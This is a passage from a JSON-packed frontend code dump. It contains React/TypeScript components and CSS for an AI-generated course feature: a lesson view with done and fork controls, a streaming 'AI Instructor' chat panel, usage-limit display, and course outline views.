(\n                        <MessageCircleIcon className=\"size-4 stroke-[2.5]\" />\n                      ) : (\n                        <MessageCircleOffIcon className=\"size-4 stroke-[2.5]\" />\n                      )}\n                    </button>\n\n                    <RegenerateLesson\n                      onRegenerateLesson={(prompt) => {\n                        generateAiCourseContent(true, prompt);\n                      }}\n                      isForkable={isForkable}\n                      onForkCourse={onForkCourse}\n                    />\n\n                    {isForkable && (\n                      <button\n                        onClick={onForkCourse}\n                        className=\"flex items-center gap-1.5 rounded-full border bg-gray-100 py-1 pr-4 pl-3 text-sm text-black hover:bg-gray-200 disabled:opacity-50 max-lg:text-xs\"\n                      >\n                        <GitForkIcon className=\"size-3.5\" />\n                        Fork Course\n                      </button>\n                    )}\n                    <button\n                      disabled={isLoading || isTogglingDone}\n                      className={cn(\n                        'flex items-center gap-1.5 rounded-full bg-black py-1 pr-3 pl-2 text-sm text-white hover:bg-gray-800 disabled:opacity-50 max-lg:text-xs',\n                        isLessonDone\n                          ? 'bg-red-500 hover:bg-red-600'\n                          : 'bg-green-500 hover:bg-green-600',\n                      )}\n                      onClick={() => {\n                        if (!isLoggedIn()) {\n                          showLoginPopup();\n                          return;\n                        }\n\n                        if (isForkable) {\n                          onForkCourse();\n                          return;\n                        }\n\n                        toggleDone();\n                      }}\n                    >\n                      {isTogglingDone ? (\n                        <>\n                          <Loader2Icon\n                            size={16}\n                            strokeWidth={3}\n                            className=\"animate-spin text-white\"\n                          />\n                          Please wait ...\n                        </>\n                      ) : (\n                        <>\n                          {isLessonDone ? (\n                            <>\n                              <XIcon size={16} />\n                              Mark as Undone\n                            </>\n                          ) : (\n                            <>\n                              <CheckIcon size={16} />\n                              Mark as Done\n                            </>\n                          )}\n                        </>\n                      )}\n                    </button>\n                  </div>\n                )}\n              </div>\n\n              <h1 className=\"mb-6 text-3xl font-semibold text-balance max-lg:mb-3 max-lg:text-xl\">\n                {currentLessonTitle?.replace(/^Lesson\\s*?\\d+[\\.:]\\s*/, '')}\n              </h1>\n\n              {!error && isLoggedIn() && (\n                <div\n                  className=\"course-content prose prose-lg prose-headings:mb-3 prose-headings:mt-8 prose-blockquote:font-normal prose-pre:rounded-2xl prose-pre:text-lg prose-li:my-1 prose-thead:border-zinc-800 prose-tr:border-zinc-800 max-lg:prose-h2:mt-3 max-lg:prose-h2:text-lg max-lg:prose-h3:text-base max-lg:prose-pre:px-3 max-lg:prose-pre:text-sm mt-8 max-w-full text-black max-lg:mt-4 max-lg:text-base\"\n                  dangerouslySetInnerHTML={{ __html: lessonHtml }}\n                />\n              )}\n\n              {error && isLoggedIn() && (\n                <div className=\"mt-8 flex min-h-[300px] items-center justify-center rounded-xl bg-red-50/80\">\n                  {error.includes('reached the limit') ? (\n                    <div className=\"flex max-w-sm flex-col items-center text-center\">\n                      <h2 className=\"text-xl font-semibold text-red-600\">\n                        Limit reached\n                      </h2>\n                      <p className=\"my-3 text-red-600\">\n                        You have reached the AI usage limit for today.\n                        {!isPaidUser && (\n                          <>Please upgrade your account to continue.</>\n                        )}\n                        {isPaidUser && (\n                          <>&nbsp;Please wait until tomorrow to continue.</>\n                        )}\n                      </p>\n\n                      {!isPaidUser && (\n                        <button\n                          onClick={() => {\n                            onUpgrade();\n                          }}\n                          className=\"rounded-full bg-red-600 px-4 py-1 text-white hover:bg-red-700\"\n                        >\n                          Upgrade Account\n                        </button>\n                      )}\n                    </div>\n                  ) : (\n                    <p className=\"text-red-600\">{error}</p>\n                  )}\n                </div>\n              )}\n\n              {!isLoggedIn() && <LoginToView />}\n\n              {!isLoading && !isGenerating && !error && (\n                <TestMyKnowledgeAction\n                  courseSlug={courseSlug}\n                  activeModuleIndex={activeModuleIndex}\n                  activeLessonIndex={activeLessonIndex}\n                />\n              )}\n\n              <div className=\"mt-8 flex items-center justify-between\">\n                <button\n                  onClick={onGoToPrevLesson}\n                  disabled={cantGoBack}\n                  className={cn(\n                    'flex items-center rounded-full px-4 py-2 disabled:opacity-50 max-lg:px-3 max-lg:py-1.5 max-lg:text-sm',\n                    cantGoBack\n                      ? 'cursor-not-allowed text-gray-400'\n                      : 'bg-gray-100 text-gray-700 hover:bg-gray-200',\n                  )}\n                >\n                  <ChevronLeft size={16} className=\"mr-2\" />\n                  Previous{' '}\n                  <span className=\"hidden lg:inline\">&nbsp;Lesson</span>\n                </button>\n\n                <div>\n                  <button\n                    onClick={() => {\n                      if (!isLoggedIn()) {\n                        onGoToNextLesson();\n                        return;\n                      }\n\n                      if (!isLessonDone) {\n                        toggleDone(undefined, {\n                          onSuccess: () => {\n                            onGoToNextLesson();\n                          },\n                        });\n                      } else {\n                        onGoToNextLesson();\n                      }\n                    }}\n                    disabled={cantGoForward || isTogglingDone}\n                    className={cn(\n                      'flex items-center rounded-full px-4 py-2 disabled:opacity-50 max-lg:px-3 max-lg:py-1.5 max-lg:text-sm',\n                      cantGoForward\n                        ? 'cursor-not-allowed text-gray-400'\n                        : 'bg-gray-800 text-white hover:bg-gray-700',\n                    )}\n                  >\n                    {isTogglingDone ? (\n                      <>\n                        <Loader2Icon\n                          size={16}\n                          strokeWidth={3}\n                          className=\"animate-spin text-white\"\n                        />\n                        Please wait ...\n                      </>\n                    ) : (\n                      <>\n                        Next{' '}\n                        <span className=\"hidden lg:inline\">&nbsp;Lesson</span>\n                        <ChevronRight size={16} className=\"ml-2\" />\n                      </>\n                    )}\n                  </button>\n                </div>\n              </div>\n\n              <AICourseFooter />\n            </div>\n          </div>\n        </ResizablePanel>\n        {isAIChatsOpen && (\n          <>\n            <ResizableHandle withHandle={false} className=\"max-lg:hidden\" />\n            <AICourseLessonChat\n              courseSlug={courseSlug}\n              moduleTitle={currentModuleTitle}\n              lessonTitle={currentLessonTitle}\n              onUpgradeClick={onUpgrade}\n              courseAIChatHistory={courseAIChatHistory}\n              setCourseAIChatHistory={setCourseAIChatHistory}\n              isDisabled={isGenerating || isLoading || isTogglingDone}\n              isGeneratingLesson={isGenerating || isLoading}\n              defaultQuestions={defaultQuestions}\n              onClose={() => setIsAIChatsOpen(false)}\n              isAIChatsOpen={isAIChatsOpen}\n              setIsAIChatsOpen={setIsAIChatsOpen}\n            />\n          </>\n        )}\n      </ResizablePanelGroup>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseLessonChat.css",
    "content": ".prose ul li > code,\n.prose ol li > code,\np code,\na > code,\nstrong > code,\nem > code,\nh1 > code,\nh2 > code,\nh3 > code {\n  background: #ebebeb !important;\n  color: currentColor !important;\n  font-size: 14px;\n  font-weight: normal !important;\n}\n\n.course-ai-content.course-content.prose ul li > code,\n.course-ai-content.course-content.prose ol li > code,\n.course-ai-content.course-content.prose p code,\n.course-ai-content.course-content.prose a > code,\n.course-ai-content.course-content.prose strong > code,\n.course-ai-content.course-content.prose em > code,\n.course-ai-content.course-content.prose h1 > code,\n.course-ai-content.course-content.prose h2 > code,\n.course-ai-content.course-content.prose h3 > code,\n.course-notes-content.prose ul li > code,\n.course-notes-content.prose ol li > code,\n.course-notes-content.prose p code,\n.course-notes-content.prose a > code,\n.course-notes-content.prose strong > code,\n.course-notes-content.prose em > code,\n.course-notes-content.prose h1 > code,\n.course-notes-content.prose h2 > code,\n.course-notes-content.prose h3 > code {\n  font-size: 12px !important;\n}\n\n.course-ai-content pre {\n  -ms-overflow-style: none;\n  scrollbar-width: none;\n}\n\n.course-ai-content pre::-webkit-scrollbar {\n  display: none;\n}\n\n.course-ai-content pre,\n.course-notes-content pre {\n  overflow: scroll;\n  font-size: 15px;\n  margin: 10px 0;\n}\n\n.prose ul li > code:before,\np > code:before,\n.prose ul li > code:after,\n.prose ol li > code:before,\np > code:before,\n.prose ol li > code:after,\n.course-content h1 > code:after,\n.course-content h1 > code:before,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content h3 > code:after,\n.course-content h3 > code:before,\n.course-content h4 > code:after,\n.course-content h4 > code:before,\np > code:after,\na > code:after,\na > code:before {\n  content: '' !important;\n}\n\n.course-content.prose ul li > code,\n.course-content.prose ol li > code,\n.course-content p code,\n.course-content a > code,\n.course-content strong > code,\n.course-content em > code,\n.course-content h1 > code,\n.course-content h2 > code,\n.course-content h3 > code,\n.course-content table code {\n  background: #f4f4f5 !important;\n  border: 1px solid #282a36 !important;\n  color: #282a36 !important;\n  padding: 2px 4px;\n  border-radius: 5px;\n  font-size: 16px !important;\n  white-space: pre;\n  font-weight: normal;\n}\n\n.course-content blockquote {\n  font-style: normal;\n}\n\n.course-content.prose blockquote h1,\n.course-content.prose blockquote h2,\n.course-content.prose blockquote h3,\n.course-content.prose blockquote h4 {\n  font-style: normal;\n  margin-bottom: 8px;\n}\n\n.course-content.prose ul li > code:before,\n.course-content p > code:before,\n.course-content.prose ul li > code:after,\n.course-content p > code:after,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content table code:before,\n.course-content table code:after,\n.course-content a > code:after,\n.course-content a > code:before,\n.course-content h2 code:after,\n.course-content h2 code:before,\n.course-content h2 code:after,\n.course-content h2 code:before {\n  content: '' !important;\n}\n\n.course-content table {\n  border-collapse: collapse;\n  border: 1px solid black;\n  border-radius: 5px;\n}\n\n.course-content table td,\n.course-content table th {\n  padding: 5px 10px;\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseLessonChat.tsx",
    "content": "import '../RoadmapAIChat/RoadmapAIChat.css';\nimport { useQuery } from '@tanstack/react-query';\nimport {\n  BookOpen,\n  Bot,\n  Hammer,\n  HelpCircle,\n  LockIcon,\n  Send,\n  User2,\n  X,\n  XIcon,\n} from 'lucide-react';\nimport {\n  Fragment,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n  type FormEvent,\n} from 'react';\nimport { flushSync } from 'react-dom';\nimport TextareaAutosize from 'react-textarea-autosize';\nimport { useToast } from '../../hooks/use-toast';\nimport { readStream } from '../../lib/ai';\nimport { cn } from '../../lib/classname';\nimport { isLoggedIn, removeAuthToken } from '../../lib/jwt';\nimport {\n  markdownToHtml,\n  markdownToHtmlWithHighlighting,\n} from '../../lib/markdown';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { ResizablePanel } from './Resizeable';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { showLoginPopup } from '../../lib/popup';\n\nexport type AllowedAIChatRole = 'user' | 'assistant';\nexport type AIChatHistoryType = {\n  role: AllowedAIChatRole;\n  content: string;\n  isDefault?: boolean;\n  html?: string;\n};\n\ntype AICourseLessonChatProps = {\n  courseSlug: string;\n  moduleTitle: string;\n  lessonTitle: string;\n  onUpgradeClick: () => void;\n  isDisabled?: boolean;\n  isGeneratingLesson?: boolean;\n\n  defaultQuestions?: string[];\n\n  courseAIChatHistory: AIChatHistoryType[];\n  setCourseAIChatHistory: (history: AIChatHistoryType[]) => void;\n\n  onClose: () => void;\n\n  isAIChatsOpen: boolean;\n  setIsAIChatsOpen: (isOpen: boolean) => void;\n};\n\nexport function AICourseLessonChat(props: AICourseLessonChatProps) {\n  const {\n    courseSlug,\n    moduleTitle,\n    lessonTitle,\n    onUpgradeClick,\n    isDisabled,\n    defaultQuestions = [],\n\n    courseAIChatHistory,\n    setCourseAIChatHistory,\n\n    onClose,\n\n    isAIChatsOpen,\n    setIsAIChatsOpen,\n\n    isGeneratingLesson,\n  } = props;\n\n  const toast = useToast();\n  const scrollareaRef = useRef<HTMLDivElement | null>(null);\n  const textareaRef = useRef<HTMLTextAreaElement | null>(null);\n\n  const [isStreamingMessage, setIsStreamingMessage] = useState(false);\n  const [message, setMessage] = useState('');\n  const [streamedMessage, setStreamedMessage] = useState('');\n\n  const { data: tokenUsage, isLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const handleChatSubmit = (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    const trimmedMessage = message.trim();\n    if (\n      !trimmedMessage ||\n      isStreamingMessage ||\n      !isLoggedIn() ||\n      isLimitExceeded ||\n      isLoading\n    ) {\n      return;\n    }\n\n    const newMessages: AIChatHistoryType[] = [\n      ...courseAIChatHistory,\n      {\n        role: 'user',\n        content: trimmedMessage,\n      },\n    ];\n\n    flushSync(() => {\n      setCourseAIChatHistory(newMessages);\n      setMessage('');\n    });\n\n    scrollToBottom();\n    completeCourseAIChat(newMessages);\n  };\n\n  const scrollToBottom = useCallback(() => {\n    scrollareaRef.current?.scrollTo({\n      top: scrollareaRef.current.scrollHeight,\n      behavior: 'smooth',\n    });\n  }, [scrollareaRef]);\n\n  const completeCourseAIChat = async (messages: AIChatHistoryType[]) => {\n    setIsStreamingMessage(true);\n\n    const response = await fetch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-follow-up-ai-course/${courseSlug}`,\n      {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        credentials: 'include',\n        body: JSON.stringify({\n          moduleTitle,\n          lessonTitle,\n          messages: messages.slice(-10),\n        }),\n      },\n    );\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      toast.error(data?.message || 'Something went wrong');\n      setCourseAIChatHistory([...messages].slice(0, messages.length - 1));\n      setIsStreamingMessage(false);\n\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n    }\n\n    const reader = response.body?.getReader();\n\n    if (!reader) {\n      setIsStreamingMessage(false);\n      toast.error('Something went wrong');\n      return;\n    }\n\n    await readStream(reader, {\n      onStream: async (content) => {\n        flushSync(() => {\n          setStreamedMessage(content);\n        });\n\n        scrollToBottom();\n      },\n      onStreamEnd: async (content) => {\n        const newMessages: AIChatHistoryType[] = [\n          ...messages,\n          {\n            role: 'assistant',\n            content,\n            html: await markdownToHtmlWithHighlighting(content),\n          },\n        ];\n\n        flushSync(() => {\n          setStreamedMessage('');\n          setIsStreamingMessage(false);\n          setCourseAIChatHistory(newMessages);\n        });\n\n        queryClient.invalidateQueries(aiLimitOptions());\n        scrollToBottom();\n      },\n    });\n\n    setIsStreamingMessage(false);\n  };\n\n  useEffect(() => {\n    scrollToBottom();\n  }, []);\n\n  return (\n    <ResizablePanel\n      defaultSize={isAIChatsOpen ? 30 : 0}\n      minSize={20}\n      id=\"course-chat-content\"\n      order={2}\n      className=\"relative h-full max-lg:fixed! max-lg:inset-0! max-lg:data-[chat-state=closed]:hidden max-lg:data-[chat-state=open]:flex\"\n      data-chat-state={isAIChatsOpen ? 'open' : 'closed'}\n    >\n      <div\n        className=\"absolute inset-y-0 right-0 z-20 flex w-full flex-col overflow-hidden bg-white data-[state=closed]:hidden data-[state=open]:flex\"\n        data-state={isAIChatsOpen ? 'open' : 'closed'}\n      >\n        <button\n          onClick={onClose}\n          className=\"absolute top-2 right-2 z-20 hidden rounded-full p-1 text-gray-400 hover:text-black max-lg:block\"\n        >\n          <XIcon className=\"size-4 stroke-[2.5]\" />\n        </button>\n\n        <div className=\"flex items-center justify-between gap-2 border-b border-gray-200 px-4 py-2 text-sm\">\n          <h4 className=\"flex items-center gap-2 text-base font-medium\">\n            <Bot\n              className=\"relative -top-[1px] size-5 shrink-0 text-black\"\n              strokeWidth={2.5}\n            />\n            AI Instructor\n          </h4>\n          <button\n            onClick={onClose}\n            className=\"hidden rounded-md px-2 py-2 text-xs font-medium text-gray-500 hover:bg-gray-100 hover:text-black lg:block\"\n          >\n            <X className=\"size-4 stroke-[2.5]\" />\n          </button>\n        </div>\n\n        <div\n          className=\"scrollbar-thumb-gray-300 scrollbar-track-transparent scrollbar-thin relative grow overflow-y-auto\"\n          ref={scrollareaRef}\n        >\n          <div className=\"absolute inset-0 flex flex-col\">\n            <div className=\"relative flex grow flex-col justify-end\">\n              {isGeneratingLesson && (\n                <div className=\"absolute inset-0 flex items-center justify-center gap-1.5 bg-gray-100\">\n                  <div className=\"flex items-center gap-1.5 rounded-md border border-gray-200 bg-white px-3 py-1.5\">\n                    <Spinner\n                      className=\"size-4 text-gray-400\"\n                      outerFill=\"transparent\"\n                    />\n                    <p className=\"text-sm text-gray-500\">\n                      Generating lesson...\n                    </p>\n                  </div>\n                </div>\n              )}\n              <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n                {courseAIChatHistory.map((chat, index) => {\n                  return (\n                    <Fragment key={`chat-${index}`}>\n                      <AIChatCard\n                        role={chat.role}\n                        content={chat.content}\n                        html={chat.html}\n                      />\n\n                      {chat.isDefault && defaultQuestions?.length > 1 && (\n                        <div className=\"mt-0.5 mb-1\">\n                          <p className=\"mb-2 text-xs font-normal text-gray-500\">\n                            Some questions you might have about this lesson.\n                          </p>\n                          <div className=\"flex flex-col justify-end gap-1\">\n                            {defaultQuestions.map((question, index) => (\n                              <button\n                                key={`default-question-${index}`}\n                                className=\"flex h-full self-start rounded-md bg-yellow-500/10 px-3 py-2 text-left text-sm text-black hover:bg-yellow-500/20\"\n                                onClick={() => {\n                                  flushSync(() => {\n                                    setMessage(question);\n                                  });\n\n                                  textareaRef.current?.focus();\n                                }}\n                              >\n                                {question}\n                              </button>\n                            ))}\n                          </div>\n                        </div>\n                      )}\n                    </Fragment>\n                  );\n                })}\n\n                {isStreamingMessage && !streamedMessage && (\n                  <AIChatCard role=\"assistant\" content=\"Thinking...\" />\n                )}\n\n                {streamedMessage && (\n                  <AIChatCard role=\"assistant\" content={streamedMessage} />\n                )}\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <form\n          className=\"relative flex items-start border-t border-gray-200 text-sm\"\n          onSubmit={handleChatSubmit}\n        >\n          {isLimitExceeded && isLoggedIn() && (\n            <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n              <LockIcon\n                className=\"size-4 cursor-not-allowed\"\n                strokeWidth={2.5}\n              />\n              <p className=\"cursor-not-allowed\">\n                Limit reached for today\n                {isPaidUser ? '. Please wait until tomorrow.' : ''}\n              </p>\n              {!isPaidUser && (\n                <button\n                  onClick={() => {\n                    onUpgradeClick();\n                  }}\n                  className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                >\n                  Upgrade for more\n                </button>\n              )}\n            </div>\n          )}\n          {!isLoggedIn() && (\n            <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n              <LockIcon\n                className=\"size-4 cursor-not-allowed\"\n                strokeWidth={2.5}\n              />\n              <p className=\"cursor-not-allowed\">Please login to continue</p>\n              <button\n                onClick={() => {\n                  showLoginPopup();\n                }}\n                className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n              >\n                Login / Register\n              </button>\n            </div>\n          )}\n          <TextareaAutosize\n            className={cn(\n              'h-full min-h-[41px] grow resize-none bg-transparent px-4 py-2 focus:outline-hidden',\n              isDisabled ? 'cursor-not-allowed opacity-50' : 'cursor-auto',\n            )}\n            placeholder=\"Ask AI anything about the lesson...\"\n            value={message}\n            onChange={(e) => setMessage(e.target.value)}\n            autoFocus={true}\n            onKeyDown={(e) => {\n              if (e.key === 'Enter' && !e.shiftKey) {\n                handleChatSubmit(e as unknown as FormEvent<HTMLFormElement>);\n              }\n            }}\n            ref={textareaRef}\n          />\n          <button\n            type=\"submit\"\n            disabled={isDisabled || isStreamingMessage || isLimitExceeded}\n            className=\"flex aspect-square size-[41px] items-center justify-center text-zinc-500 hover:text-black disabled:cursor-not-allowed disabled:opacity-50\"\n          >\n            <Send className=\"size-4 stroke-[2.5]\" />\n          </button>\n        </form>\n      </div>\n    </ResizablePanel>\n  );\n}\n\ntype AIChatCardProps = {\n  role: AllowedAIChatRole;\n  content: string;\n  html?: string;\n};\n\nexport function AIChatCard(props: AIChatCardProps) {\n  const { role, content, html: defaultHtml } = props;\n\n  const html = useMemo(() => {\n    if (defaultHtml) {\n      return defaultHtml;\n    }\n\n    return markdownToHtml(content, false);\n  }, [content, defaultHtml]);\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col rounded-lg',\n        role === 'user' ? 'bg-gray-300/30' : 'bg-yellow-500/30',\n      )}\n    >\n      <div className=\"flex items-start gap-2.5 p-3\">\n        <div\n          className={cn(\n            'flex size-6 shrink-0 items-center justify-center rounded-full',\n            role === 'user'\n              ? 'bg-gray-200 text-black'\n              : 'bg-yellow-400 text-black',\n          )}\n        >\n          {role === 'user' ? (\n            <User2 className=\"size-4 stroke-[2.5]\" />\n          ) : (\n            <Bot className=\"size-4 stroke-[2.5]\" />\n          )}\n        </div>\n        <div\n          className=\"course-content course-ai-content prose prose-sm mt-0.5 max-w-full overflow-hidden text-sm\"\n          dangerouslySetInnerHTML={{ __html: html }}\n        />\n      </div>\n    </div>\n  );\n}\n\ntype CapabilityCardProps = {\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n  className?: string;\n};\n\nfunction CapabilityCard({\n  icon,\n  title,\n  description,\n  className,\n}: CapabilityCardProps) {\n  return (\n    <div\n      className={cn(\n        'flex flex-col gap-2 rounded-lg bg-yellow-500/10 p-3',\n        className,\n      )}\n    >\n      <div className=\"flex items-center gap-2\">\n        {icon}\n        <span className=\"text-[13px] leading-none font-medium text-black\">\n          {title}\n        </span>\n      </div>\n      <p className=\"text-[12px] leading-normal text-gray-600\">{description}</p>\n    </div>\n  );\n}\n\nconst capabilities = [\n  {\n    icon: (\n      <HelpCircle\n        className=\"size-4 shrink-0 text-yellow-600\"\n        strokeWidth={2.5}\n      />\n    ),\n    title: 'Clarify Concepts',\n    description: \"If you don't understand a concept, ask me to clarify it\",\n  },\n  {\n    icon: (\n      <BookOpen className=\"size-4 shrink-0 text-yellow-600\" strokeWidth={2.5} />\n    ),\n    title: 'More Details',\n    description: 'Get deeper insights about topics covered in the lesson',\n  },\n  {\n    icon: (\n      <Hammer className=\"size-4 shrink-0 text-yellow-600\" strokeWidth={2.5} />\n    ),\n    title: 'Real-world Examples',\n    description: 'Ask for real-world examples to understand better',\n  },\n  {\n    icon: <Bot className=\"size-4 shrink-0 text-yellow-600\" strokeWidth={2.5} />,\n    title: 'Best Practices',\n    description: 'Learn about best practices and common pitfalls',\n  },\n] as const;\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseLimit.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { Gift, Info } from 'lucide-react';\nimport { getPercentage } from '../../lib/number';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { isLoggedIn } from '../../lib/jwt';\n\ntype AICourseLimitProps = {\n  onUpgrade: () => void;\n  onShowLimits: () => void;\n};\n\nexport function AICourseLimit(props: AICourseLimitProps) {\n  const { onUpgrade, onShowLimits } = props;\n\n  const { data: limits, isLoading } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  if (!isLoggedIn()) {\n    return null;\n  }\n\n  if (isLoading || !limits || isBillingDetailsLoading || !userBillingDetails) {\n    return (\n      <div className=\"hidden h-[38px] w-[208.09px] animate-pulse rounded-lg border border-gray-200 bg-gray-200 lg:block\"></div>\n    );\n  }\n\n  const { used, limit } = limits;\n\n  const totalPercentage = getPercentage(used, limit);\n\n  // has consumed 85% of the limit\n  const isPaidUser = userBillingDetails.status === 'active';\n\n  return (\n    <>\n      {!isPaidUser && (\n        <button\n          className=\"mr-1 flex items-center gap-1 text-sm font-medium underline underline-offset-2 lg:hidden\"\n          onClick={() => onShowLimits()}\n        >\n          <Info className=\"size-4\" />\n          {totalPercentage}% limit used\n        </button>\n      )}\n\n      {!isPaidUser && (\n        <button\n          onClick={() => {\n            onShowLimits();\n          }}\n          className=\"relative hidden h-full min-h-[38px] cursor-pointer items-center overflow-hidden rounded-lg border border-gray-300 px-3 py-1.5 text-sm hover:bg-gray-50 lg:flex\"\n        >\n          <span className=\"relative z-10\">\n            {totalPercentage}% of the daily limit used\n          </span>\n          <div\n            className=\"absolute inset-0 h-full bg-gray-200/80\"\n            style={{\n              width: `${totalPercentage}%`,\n            }}\n          ></div>\n        </button>\n      )}\n\n      {!isPaidUser && (\n        <button\n          className=\"hidden items-center justify-center gap-1 rounded-md bg-yellow-400 px-4 py-1 text-sm font-medium underline-offset-2 hover:bg-yellow-500 lg:flex\"\n          onClick={() => onUpgrade()}\n        >\n          <Gift className=\"size-4\" />\n          Upgrade\n        </button>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseOutlineHeader.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport type { AiCourse } from '../../lib/ai';\nimport { RegenerateOutline } from './RegenerateOutline';\nimport type { AICourseViewMode } from './AICourseContent';\nimport { BookOpenCheck, Signpost } from 'lucide-react';\n\ntype AICourseOutlineHeaderProps = {\n  course: AiCourse;\n  isLoading: boolean;\n  onRegenerateOutline: (prompt?: string) => void;\n  viewMode: AICourseViewMode;\n  setViewMode: (mode: AICourseViewMode) => void;\n  isForkable: boolean;\n  onForkCourse: () => void;\n  courseSlug: string;\n};\n\nexport function AICourseOutlineHeader(props: AICourseOutlineHeaderProps) {\n  const {\n    course,\n    isLoading,\n    onRegenerateOutline,\n    viewMode,\n    setViewMode,\n    isForkable,\n    onForkCourse,\n    courseSlug,\n  } = props;\n\n  return (\n    <div\n      className={cn(\n        'relative mb-1 flex items-start justify-between border-b border-gray-100 p-6 max-lg:p-3',\n        isLoading && 'striped-loader',\n      )}\n    >\n      <div className=\"max-lg:hidden\">\n        <h2 className=\"mb-1 text-2xl font-bold text-balance max-lg:text-lg max-lg:leading-tight\">\n          {course.title || 'Loading course ..'}\n        </h2>\n      </div>\n\n      <div className=\"absolute top-3 right-3 flex gap-2 max-lg:relative max-lg:top-0 max-lg:right-0 max-lg:w-full max-lg:flex-row-reverse max-lg:justify-between\">\n        {!isLoading && (\n          <>\n            <RegenerateOutline\n              onRegenerateOutline={onRegenerateOutline}\n              isForkable={isForkable}\n              onForkCourse={onForkCourse}\n              courseSlug={courseSlug}\n            />\n            <div className=\"mr-1 flex rounded-lg border border-gray-200 bg-white p-0.5\">\n              <button\n                onClick={() => setViewMode('outline')}\n                className={cn(\n                  'flex items-center gap-1 rounded-md px-2 py-1 text-sm transition-colors',\n                  viewMode === 'outline'\n                    ? 'bg-gray-200 text-gray-900'\n                    : 'text-gray-500 hover:text-gray-900',\n                )}\n              >\n                <BookOpenCheck\n                  className={cn(\n                    'size-4',\n                    viewMode === 'outline' && 'text-gray-900',\n                  )}\n                />\n                <span>Outline</span>\n              </button>\n              <button\n                onClick={() => {\n                  setViewMode('roadmap');\n                }}\n                className={cn(\n                  'flex items-center gap-1 rounded-md px-2 py-1 text-sm transition-colors',\n                  viewMode === 'roadmap'\n                    ? 'bg-gray-200 text-gray-900'\n                    : 'text-gray-500 hover:text-gray-900',\n                )}\n              >\n                <Signpost\n                  className={cn(\n                    'size-4',\n                    viewMode === 'roadmap' && 'text-gray-900',\n                  )}\n                />\n                <span>Map</span>\n              </button>\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseOutlineView.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport type { AiCourse } from '../../lib/ai';\nimport { slugify } from '../../lib/slugger';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport type { Dispatch, SetStateAction } from 'react';\nimport { Loader2Icon } from 'lucide-react';\nimport type { AICourseViewMode } from './AICourseContent';\nimport { AICourseOutlineHeader } from './AICourseOutlineHeader';\n\ntype AICourseOutlineViewProps = {\n  course: AiCourse;\n  isLoading: boolean;\n  onRegenerateOutline: (prompt?: string) => void;\n  setActiveModuleIndex: (index: number) => void;\n  setActiveLessonIndex: (index: number) => void;\n  setSidebarOpen: (open: boolean) => void;\n  setViewMode: (mode: AICourseViewMode) => void;\n  setExpandedModules: Dispatch<SetStateAction<Record<number, boolean>>>;\n  viewMode: AICourseViewMode;\n  isForkable: boolean;\n  onForkCourse: () => void;\n  courseSlug: string;\n};\n\nexport function AICourseOutlineView(props: AICourseOutlineViewProps) {\n  const {\n    course,\n    isLoading,\n    onRegenerateOutline,\n    setActiveModuleIndex,\n    setActiveLessonIndex,\n    setSidebarOpen,\n    setViewMode,\n    setExpandedModules,\n    viewMode,\n    isForkable,\n    onForkCourse,\n    courseSlug,\n  } = props;\n\n  const aiCourseProgress = course.done || [];\n\n  return (\n    <div className=\"mx-auto rounded-xl border border-gray-200 bg-white shadow-xs lg:max-w-5xl\">\n      <AICourseOutlineHeader\n        course={course}\n        isLoading={isLoading}\n        onRegenerateOutline={onRegenerateOutline}\n        viewMode={viewMode}\n        setViewMode={setViewMode}\n        isForkable={isForkable}\n        onForkCourse={onForkCourse}\n        courseSlug={courseSlug}\n      />\n      {course.title ? (\n        <div className=\"flex flex-col p-6 max-lg:mt-0.5 max-lg:p-4\">\n          {course.modules.map((courseModule, moduleIdx) => {\n            return (\n              <div\n                key={moduleIdx}\n                className=\"mb-5 pb-4 last:border-0 last:pb-0 max-lg:mb-2\"\n              >\n                <h2 className=\"mb-4 text-xl font-bold text-gray-800 max-lg:mb-2 max-lg:text-lg max-lg:leading-tight\">\n                  {courseModule.title}\n                </h2>\n                <div className=\"divide-y divide-gray-100\">\n                  {courseModule.lessons.map((lesson, lessonIdx) => {\n                    const key = `${slugify(String(moduleIdx))}-${slugify(String(lessonIdx))}`;\n                    const isCompleted = aiCourseProgress.includes(key);\n\n                    return 